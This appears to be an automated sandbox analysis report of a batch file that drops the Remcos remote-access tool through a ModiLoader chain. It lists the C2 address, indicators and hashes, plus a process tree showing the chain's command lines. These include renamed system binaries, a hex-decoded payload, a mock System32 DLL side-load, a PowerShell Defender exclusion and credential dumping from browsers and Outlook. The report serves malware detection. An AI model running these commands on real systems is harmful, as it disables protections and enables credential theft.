Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/04/2024, 14:35

General

  • Target
    PO3488-0337.bat
  • Size 3.9MB
  • Sample240409-rxz8nach8t
  • SHA256 985dda76570c9efdd692eca4a7bef55c99cbcac5ae7683360c115ea5529ebaa5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • 192.3.216.142:7232

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-PGR5EA

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • ModiLoader Second Stage 1 IoCs
  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 6 IoCs
  • Executes dropped EXE 12 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO3488-0337.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1428
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
      2⤵
        PID:712
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1384
        • C:\Windows\system32\extrac32.exe
          extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:3340
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PO3488-0337.bat" "C:\\Users\\Public\\Yano.txt" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1052
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PO3488-0337.bat" "C:\\Users\\Public\\Yano.txt" 9
            3⤵
            • Executes dropped EXE
            PID:4508
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Yano.txt" "C:\\Users\\Public\\Libraries\\Yano.com" 12
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1264
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Yano.txt" "C:\\Users\\Public\\Libraries\\Yano.com" 12
            3⤵
            • Executes dropped EXE
            PID:2168
        • C:\Users\Public\Libraries\Yano.com
          C:\Users\Public\Libraries\Yano.com
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4600
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\LyjjreuvO.bat" "
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2128
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
              4⤵
                PID:60
              • C:\Windows\SysWOW64\xcopy.exe
                xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y
                4⤵
                • Enumerates system info in registry
                PID:3412
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                4⤵
                  PID:3368
                • C:\Windows\SysWOW64\xcopy.exe
                  xcopy "Aaa.bat" "C:\Windows \System32\" /K /D /H /Y
                  4⤵
                  • Enumerates system info in registry
                  PID:2488
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                  4⤵
                    PID:1356
                  • C:\Windows\SysWOW64\xcopy.exe
                    xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y
                    4⤵
                    • Enumerates system info in registry
                    PID:676
                  • C:\Windows \System32\easinvoker.exe
                    "C:\Windows \System32\easinvoker.exe"
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:1612
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\windows \system32\aaa.bat""
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1768
                      • C:\Windows\system32\cmd.exe
                        cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2912
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                          7⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1688
                • C:\Windows\SysWOW64\extrac32.exe
                  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Yano.com C:\\Users\\Public\\Libraries\\Lyjjreuv.PIF
                  3⤵
                    PID:2996
                  • C:\Users\Public\Libraries\Yano.com
                    C:\Users\Public\Libraries\Yano.com /stext "C:\Users\Admin\AppData\Local\Temp\ktpkhvfthsyqlgpjvgyjt"
                    3⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4432
                  • C:\Users\Public\Libraries\Yano.com
                    C:\Users\Public\Libraries\Yano.com /stext "C:\Users\Admin\AppData\Local\Temp\nndcioqndarvnudvmrlcwcml"
                    3⤵
                    • Executes dropped EXE
                    • Accesses Microsoft Outlook accounts
                    PID:464
                  • C:\Users\Public\Libraries\Yano.com
                    C:\Users\Public\Libraries\Yano.com /stext "C:\Users\Admin\AppData\Local\Temp\xhivjybprijaybzzwbyehphuytnf"
                    3⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1148
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del "C:\Users\Public\Yano.txt" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:4980
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:3372
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3812 --field-trial-handle=2272,i,11831746627654527593,10138103687018060346,262144 --variations-seed-version /prefetch:8
                1⤵
                  PID:692

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      logs.dat

                      • Path C:\ProgramData\remcos\logs.dat
                      • Size 182B
                      • SHA256 60d9aaec54eb8981261dd07fe04a3f922fdf0af3059a0eb63795f639e34ef97b
                      • MD5 SHA1 SHA512

                      __PSScriptPolicyTest_ht5r0wdy.fhu.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ht5r0wdy.fhu.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      ktpkhvfthsyqlgpjvgyjt

                      • Path C:\Users\Admin\AppData\Local\Temp\ktpkhvfthsyqlgpjvgyjt
                      • Size 4KB
                      • SHA256 d6132e01d239dbbe0f686e1a18cd57d7cf272e34ab03b7f483f5147c00d374ad
                      • MD5 SHA1 SHA512 SSDEEP

                      LyjjreuvO.bat

                      • Path C:\Users\Public\Libraries\LyjjreuvO.bat
                      • Size 29KB
                      • SHA256 abac4a967800f5da708572ec42441ec373cd52459a83a8a382d6b8579482789d
                      • MD5 SHA1 SHA512 SSDEEP

                      Yano.com

                      • Path C:\Users\Public\Libraries\Yano.com
                      • Size 1.4MB
                      • SHA256 9537982a9501f4dd4474d080c147a5afa3f125f6617811486c6341cdba1aa2da
                      • MD5 SHA1 SHA512 SSDEEP

                      aaa.bat

                      • Path C:\Users\Public\Libraries\aaa.bat
                      • Size 18KB
                      • SHA256 cd05094e213643d624996b98e14aa5f7a2363f63530fe0c99523f6948effe756
                      • MD5 SHA1 SHA512 SSDEEP

                      easinvoker.exe

                      • Path C:\Users\Public\Libraries\easinvoker.exe
                      • Size 128KB
                      • SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
                      • MD5 SHA1 SHA512 SSDEEP

                      netutils.dll

                      • Path C:\Users\Public\Libraries\netutils.dll
                      • Size 112KB
                      • SHA256 7c6b2128913876dcb70603f2c00618d2e9057f381766565baf2a37100b85f1fd
                      • MD5 SHA1 SHA512 SSDEEP

                      Yano.txt

                      • Path C:\Users\Public\Yano.txt
                      • Size 2.8MB
                      • SHA256 f7cdbc8097cfc5ad70a9d5337b4bf699b9980b64d73d17cdd419ca8bb560f8ac
                      • MD5 SHA1 SHA512 SSDEEP

                      alpha.exe

                      • Path C:\Users\Public\alpha.exe
                      • Size 283KB
                      • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                      • MD5 SHA1 SHA512 SSDEEP

                      kn.exe

                      • Path C:\Users\Public\kn.exe
                      • Size 1.6MB
                      • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/464-95-0x0000000000400000-0x0000000000462000-memory.dmp

                      memory/464-99-0x0000000000400000-0x0000000000462000-memory.dmp

                      memory/464-101-0x0000000000400000-0x0000000000462000-memory.dmp

                      memory/464-106-0x0000000000400000-0x0000000000462000-memory.dmp

                      memory/1148-112-0x0000000000430000-0x00000000004F9000-memory.dmp

                      memory/1148-100-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/1148-108-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/1148-116-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/1148-111-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/1612-52-0x00000000613C0000-0x00000000613E3000-memory.dmp

                      memory/1688-70-0x00007FF8CA600000-0x00007FF8CB0C1000-memory.dmp

                      memory/1688-67-0x000001FE58BE0000-0x000001FE58BF0000-memory.dmp

                      memory/1688-66-0x000001FE58BE0000-0x000001FE58BF0000-memory.dmp

                      memory/1688-65-0x00007FF8CA600000-0x00007FF8CB0C1000-memory.dmp

                      memory/1688-60-0x000001FE58D90000-0x000001FE58DB2000-memory.dmp

                      memory/4432-125-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/4432-91-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/4432-96-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/4432-102-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/4432-105-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/4600-32-0x0000000000400000-0x0000000000573000-memory.dmp

                      memory/4600-128-0x00000000349F0000-0x0000000034A09000-memory.dmp

                      memory/4600-85-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-84-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-83-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-90-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-80-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-79-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-78-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-76-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-75-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-89-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-86-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-87-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-30-0x0000000003E50000-0x0000000004E50000-memory.dmp

                      memory/4600-94-0x0000000000A30000-0x0000000000A31000-memory.dmp

                      memory/4600-29-0x0000000003E50000-0x0000000004E50000-memory.dmp

                      memory/4600-131-0x00000000349F0000-0x0000000034A09000-memory.dmp

                      memory/4600-133-0x00000000349F0000-0x0000000034A09000-memory.dmp

                      memory/4600-134-0x00000000349F0000-0x0000000034A09000-memory.dmp

                      memory/4600-135-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-137-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-138-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-28-0x0000000000A30000-0x0000000000A31000-memory.dmp

                      memory/4600-145-0x00000000349F0000-0x0000000034A09000-memory.dmp

                      memory/4600-149-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-150-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-160-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-161-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-171-0x0000000016310000-0x0000000017310000-memory.dmp

                      memory/4600-172-0x0000000016310000-0x0000000017310000-memory.dmp